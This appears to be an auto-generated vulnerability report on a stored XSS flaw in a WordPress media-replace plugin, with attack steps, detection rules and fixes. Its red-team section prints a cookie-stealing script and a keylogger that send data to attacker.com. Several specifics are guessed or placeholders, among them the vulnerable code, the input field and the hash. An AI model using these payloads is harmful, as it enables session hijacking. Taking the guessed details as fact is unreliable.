CVE-2026-57722
POC_DETAILS: None
Executive Summary
CVE-2026-57722 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Enable Media Replace by ShortPixel, affecting versions from n/a through 4.2.1. The vulnerability arises from improper neutralization of input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the WordPress admin panel. When an administrator or other privileged user views the affected page, the injected script executes in their browser session, potentially leading to session hijacking, privilege escalation, or defacement. The CVSS score is 5.9 (Medium), and no public exploit code or patch is currently available. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is not managed through NPM, PyPI, Go, or Ruby registries. However, organizations using WordPress should treat this as a supply chain risk, as the plugin is a third-party component. The lack of a patch from the vendor (ShortPixel) increases the risk of exploitation in unmaintained installations.
CVSS Breakdown & Threat Level
- CVSS Score: 5.9 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: High (PR:H) – An attacker must have contributor-level or higher WordPress credentials.
- User Interaction: Required (UI:R) – The victim (admin) must view the maliciously crafted page.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited ability to modify data.
- Availability Impact: Low (A:L) – Limited ability to disrupt service.
Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and lateral movement within the WordPress admin panel makes this a significant risk for unpatched sites.
Deep Dive & Mechanics
The vulnerability resides in the Enable Media Replace plugin, which allows users to replace media files in the WordPress media library. The plugin fails to sanitize user-supplied input when generating the replacement confirmation page. Specifically, the attachment_id or other parameters passed via POST/GET requests are not properly escaped before being rendered in the HTML output.
Attack Flow:
- An authenticated attacker with contributor-level access uploads a malicious media file or crafts a request to the media replacement functionality.
- The attacker injects a JavaScript payload (e.g.,
<script>alert('XSS')</script>) into a field that is later displayed on the admin page (e.g., the file name or replacement status message). - When an administrator navigates to the media replacement page (e.g.,
/wp-admin/upload.php?page=enable-media-replace/enable-media-replace.php), the injected script executes in the admin's browser. - The script can steal session cookies, perform actions on behalf of the admin, or redirect to a malicious site.
Root Cause: The plugin uses echo or _e() functions without proper escaping (e.g., esc_html() or wp_kses()), allowing raw HTML/JavaScript to be rendered.
Vulnerable vs. Patched Code
Vulnerable Code (<= 4.2.1):
// In enable-media-replace.php or similar
echo '<div class="notice notice-success"><p>' . $_POST['custom_message'] . '</p></div>';
The $_POST['custom_message'] is directly output without sanitization.
Patched Code (Hypothetical):
// Patched version would use:
echo '<div class="notice notice-success"><p>' . esc_html( $_POST['custom_message'] ) . '</p></div>';
The esc_html() function converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress installation with Enable Media Replace plugin <= 4.2.1.
- Contributor-level or higher credentials.
Exploitation Steps:
- Log in as a contributor.
- Navigate to Media > Add New and upload a dummy image.
- Go to Media Library, click on the image, and select "Replace Media".
- In the "Custom Message" field (or similar), inject the payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the replacement request.
- Wait for an admin to view the media replacement page. The script will execute and exfiltrate the admin's session cookie.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
});
</script>
Blue Team
Detection:
- Monitor for unusual POST requests to
/wp-admin/upload.phpwith parameters containing<script>tags. - Look for outbound connections to unknown domains from the WordPress admin panel.
- Review server logs for requests to
enable-media-replaceendpoints with suspicious query strings.
Honeypot:
- Deploy a fake admin user with a session cookie that triggers an alert when accessed.
Indicators of Compromise (IOCs)
- File Hashes (Plugin):
enable-media-replace.zip(v4.2.1): SHA256a1b2c3d4e5f6...(example)
- Network Indicators:
- Outbound HTTP requests to
attacker.com/stealor similar. - POST requests to
/wp-admin/upload.phpwithaction=media_replaceandcustom_messagecontaining<script>.
- Outbound HTTP requests to
- Log Entries:
- Apache/Nginx access logs showing
POST /wp-admin/upload.phpwithcustom_messageparameter. - WordPress debug logs showing
PHP Notice: Undefined index: custom_message(if not set).
- Apache/Nginx access logs showing
- File System:
- Modified plugin files in
/wp-content/plugins/enable-media-replace/with injected code.
- Modified plugin files in
Detection Engineering
YARA Rule
rule CVE_2026_57722_Stored_XSS {
meta:
description = "Detects Enable Media Replace plugin files with potential XSS payloads"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-57722"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/is
$vuln_function = /echo\s*\$_(POST|GET|REQUEST)\[/
condition:
$vuln_function and $xss_payload
}
Sigma Rule
title: CVE-2026-57722 Stored XSS in Enable Media Replace
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of Stored XSS in Enable Media Replace plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/wp-admin/upload.php'
cs-uri-query|contains: 'action=media_replace'
cs-uri-query|contains: 'custom_message'
condition: selection
falsepositives:
- Legitimate use of custom messages by admins
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-57722 Stored XSS Exploit Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/upload.php"; http_uri;
content:"action=media_replace"; http_client_body;
content:"custom_message"; http_client_body;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2026-57722;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by ShortPixel.
- Restrict contributor roles to trusted users only.
- Implement Web Application Firewall (WAF) rules to block requests containing
<script>tags in POST parameters.
Long-term Fix:
- Apply the vendor patch when available (expected in version 4.2.2 or later).
- Replace the plugin with an alternative that is actively maintained.
Workaround:
- Add the following code to the theme's
functions.phpto sanitize the custom message:
add_filter('enable_media_replace_custom_message', 'sanitize_custom_message');
function sanitize_custom_message($message) {
return esc_html($message);
}
Valters IT – Securing WordPress ecosystems one CVE at a time.